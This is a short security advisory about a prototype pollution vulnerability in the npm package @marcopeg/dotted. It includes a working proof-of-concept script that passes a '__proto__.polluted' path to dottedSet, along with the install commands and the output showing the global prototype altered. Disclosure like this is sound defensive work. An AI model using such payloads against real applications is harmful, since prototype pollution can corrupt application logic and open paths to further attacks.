@marcopeg/dotted

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

@marcopeg/dotted is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var {dottedSet} = require("@marcopeg/dotted/lib/dotted.set")
var obj = {}
console.log("Before : " + {}.polluted);
dottedSet(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i @marcopeg/dotted # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted